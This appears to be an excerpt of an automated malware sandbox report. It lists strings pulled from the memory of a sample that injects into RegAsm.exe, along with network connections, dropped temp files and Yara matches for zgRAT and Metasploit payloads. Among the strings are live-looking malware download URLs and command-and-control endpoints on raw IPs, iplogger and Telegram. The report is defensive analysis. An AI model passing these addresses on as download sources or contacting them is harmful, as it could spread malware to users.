Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d897ad1752a_File.exe#xinB
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d897ad1752a_File.exe#xinC:
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d897ad1752a_File.exe#xinryptolC
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d9de22f231f_crypted.exe#1
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d9de22f231f_crypted.exe#1B
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d9de22f231f_crypted.exe#1C:
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66d9de22f231f_crypted.exe#1usoU
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001179000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/bobr
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/bobrC:
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/bobrZ
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/bobrp
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/ssl/install.exe
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/ssl/install.exeC:
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/ssl/install.exezAp
Source: RegAsm.exe, 00000002.00000002.1950398912.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.143.223.148/
Source: RegAsm.exe, 00000002.00000002.1950398912.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.143.223.148/api/crazyfish.php
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.143.223.148/api/twofish.php
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.143.223.148/api/twofish.phpZA
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.143.223.148/~
Source: RegAsm.exe, 00000002.00000002.1950398912.00000000010ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.143.223.148:80/api/crazyfish.php
Source: RegAsm.exe, 00000002.00000002.1954978502.0000000004961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.143.223.148:80/api/twofish.php
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.143.223.148:80/api/twofish.phpB1CAD8C-2DAB-11D2-B604-00104B703EFD
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.143.223.148:80/api/twofish.php_C
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exe
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exe7
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exeC:
Source: RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exeZA
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.9/nokia/lamp.exe
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.9/nokia/lamp.exe0
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.9/nokia/lamp.exeC:
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CF9000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.29.235.52/sgnr.exe#space
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.29.235.52/sgnr.exe#space?
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.29.235.52/sgnr.exe#spaceC:
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.29.235.52/sgnr.exe#spacet=
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.29.235.52/sgnr.exe#spaceuWZ
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CF9000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.29.235.52/vjgg.exe#space
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.29.235.52/vjgg.exe#spaceC:
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.29.235.52/vjgg.exe#spaceQZ~
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.29.235.52/vjgg.exe#spaceu4
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.29.235.52/vjgg.exe#spacez=
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://aka.ms/msal-net-iwa
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://aka.ms/valid-authorities
Source: 7wpHB_IZvVwIDf0EgO_TfPH6.exe, 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gacan.zapto.org_DEBUG.zip/c
Source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: PsIhedmEA44FNRssEU8V9OlH.exe, 00000007.00000003.1938610261.0000000002360000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: PsIhedmEA44FNRssEU8V9OlH.exe, 00000007.00000003.1938610261.0000000002360000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: PsIhedmEA44FNRssEU8V9OlH.exe, 00000007.00000003.1938610261.0000000002360000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.remobjects.com/psU
Source: gobEmOm5sr.exe, 00000000.00000000.1648178201.0000000000EDE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.softwareok.com/?Download=MagicMouseTrails
Source: gobEmOm5sr.exe, 00000000.00000000.1648178201.0000000000EDE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails
Source: gobEmOm5sr.exe, 00000000.00000000.1648178201.0000000000EDE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails/History
Source: gobEmOm5sr.exe, 00000000.00000000.1648178201.0000000000EDE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.softwareok.de/?Download=MagicMouseTrails
Source: gobEmOm5sr.exe, 00000000.00000000.1648178201.0000000000EDE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.softwareok.de/?seite=Microsoft/MagicMouseTrails
Source: gobEmOm5sr.exe, 00000000.00000000.1648178201.0000000000EDE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.softwareok.de/?seite=Microsoft/MagicMouseTrails/History
Source: gobEmOm5sr.exe, 00000000.00000002.1654904203.0000000004EF5000.00000004.00000800.00020000.00000000.sdmp, gobEmOm5sr.exe, 00000000.00000002.1654904203.0000000004C65000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1947694025.000000000056B000.00000040.00000400.00020000.00000000.sdmp, REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllm_object
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/adal-iwa
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/adal-net-broker-redirect-uri-android
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/adal_token_cache_serialization
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/adal_token_cache_serializationdFailed
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-brokers
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-brokers.
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-client-apps
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-interactive-android
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-2-released)
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changes
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changesy
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-change
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-change)
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-changeC
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-application-configuration
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-b2c
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-brokers
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-enable-keychain-access
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-enable-keychain-groups
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-iwa
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-system-browsers
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-up
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-up)
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.msa/msal-net-3x-cache-breaking-change
Source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.datamarket.azure.com/data.ashx/
Source: 2Umx78uafM0WA03fzJyYYhBa.exe, 0000000E.00000002.2120842089.00000000043E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: RegAsm.exe, 00000002.00000002.1950398912.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/?format=json
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/?format=jsonZC
Source: RegAsm.exe, 00000002.00000002.1950398912.00000000010AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/J
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org:443/?format=json
Source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://datamarket.azure.com/embedded/catalog?client_id=
Source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://datamarket.azure.com/embedded/consent?client_id=
Source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://datamarket.azure.com/embedded/query?client_id=
Source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://datamarket.azure.com/embedded/resultrhttps://datamarket.accesscontrol.windows.net/v2/OAuth2-
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/&
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.00000000010ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/download
Source: RegAsm.exe, 00000002.00000002.1950398912.00000000010ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/download=
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/downloadC:
Source: RegAsm.exe, 00000002.00000002.1950398912.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app:80/
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app:80/download
Source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000000.1922223189.00000000007C2000.00000002.00000001.01000000.0000000A.sdmp, 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000000.1923341342.0000000000BE2000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://github.com/dotnet/wpf
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: gobEmOm5sr.exe, 00000000.00000002.1654904203.0000000004EF5000.00000004.00000800.00020000.00000000.sdmp, gobEmOm5sr.exe, 00000000.00000002.1654904203.0000000004C65000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1947694025.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://ipgeolocation.io/::
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/s
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33X
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/0
Source: RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1nhuM4.js
Source: RegAsm.exe, 00000002.00000002.1954978502.0000000004961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org:443/1nhuM4.jsoft
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://login.microsoftonline.com/common
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://sso2urn:ietf:wg:oauth:2.0:oob
Source: 7wpHB_IZvVwIDf0EgO_TfPH6.exe, 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199768374681
Source: 7wpHB_IZvVwIDf0EgO_TfPH6.exe, 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/edm0d
Source: 7wpHB_IZvVwIDf0EgO_TfPH6.exe, 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/fneogr
Source: 7wpHB_IZvVwIDf0EgO_TfPH6.exe, 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/fneogrnfeowkhttps://t.me/edm0di11ihttps://steamcommunity.com/profiles/76561199768374681
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.nuget.org/packages/Microsoft.Identity.Json.Bson
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtransfer.net/
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CF9000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.0000000001112000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtransfer.net/handler/download?action=download&download_id=uuVCUDm6&private_id=cb726802f5f
Source: RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtransfer.net/z

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.142:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 158.69.225.124:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.2.46:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.172:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.172:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.172:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.172:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.172:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.172:443 -> 192.168.2.4:49780 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\Tmp783F.tmp			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\Tmp785F.tmp			Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 25.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0000000A.00000002.2204897517.000000000196E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000010.00000002.2284303938.00000000027E4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 0000000A.00000002.2204897517.0000000001A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000010.00000002.2284303938.0000000002B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe

Code function: 7_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,

7_2_00409448

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Code function: 0_2_05DF0040	0_2_05DF0040
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Code function: 0_2_05DFA08C	0_2_05DFA08C
